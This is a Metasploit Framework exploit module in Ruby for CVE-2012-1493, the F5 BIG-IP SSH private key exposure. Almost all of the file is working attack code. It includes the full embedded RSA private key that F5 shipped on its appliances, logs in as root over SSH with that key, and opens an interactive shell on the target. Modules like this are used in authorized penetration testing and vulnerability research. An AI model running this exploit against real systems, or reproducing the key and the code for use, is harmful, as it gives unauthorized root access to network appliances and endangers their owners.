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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, { 'Name'=> 'F5 BIG-IP SSH Private Key Exposure', 'Version' => '$Revision$', 'Description' => %q{ F5 ships a public/private key pair on BIG-IP appliances that allows passwordless authentication to any other BIG-IP box. Since the key is easily retrievable, an attacker can use it to gain unauthorized remote access as root. }, 'Platform'=> 'unix', 'Arch'=> ARCH_CMD, 'Privileged'=> true, 'Targets' => [ [ "Universal", {} ] ], 'Payload' => { 'Compat'=> { 'PayloadType'=> 'cmd_interact', 'ConnectionType' => 'find', }, }, 'Author'=> ['egypt'], 'License' => MSF_LICENSE, 'References'=> [ [ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ], [ 'CVE', '2012-1493' ], [ 'OSVDB', '82780' ] ], 'DisclosureDate' => "Jun 11 2012", 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'DefaultTarget' => 0, })) register_options( [ # Since we don't include Tcp, we have to register this manually Opt::RHOST(), Opt::RPORT(22), ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end # helper methods that normally come from Tcp def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def do_login(user) opt_hash = { :auth_methods => ['publickey'], :msframework=> framework, :msfmodule=> self, :port => rport, :key_data => [ key_data ], :disable_agent => true, :config => false, :record_auth_info => true } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh_socket = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh_socket = Net::SSH.start(rhost, user, opt_hash) end rescue Rex::ConnectionError, Rex::AddressInUse return :connection_error rescue Net::SSH::Disconnect, ::EOFError return :connection_disconnect rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return :connection_disconnect rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" rescue Net::SSH::Exception => e return [:fail,nil] # For whatever reason. end if ssh_socket # Create a new session from the socket, then dump it. conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true) ssh_socket = nil return conn else return false end end def exploit conn = do_login("root") if conn print_good "Successful login" handler(conn.lsock) else print_error "Login failed" end end def key_data <<EOF -----BEGIN RSA PRIVATE KEY----- MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF 8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv 7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM 2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s 37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4 rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/ uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS -----END RSA PRIVATE KEY----- EOF end end |
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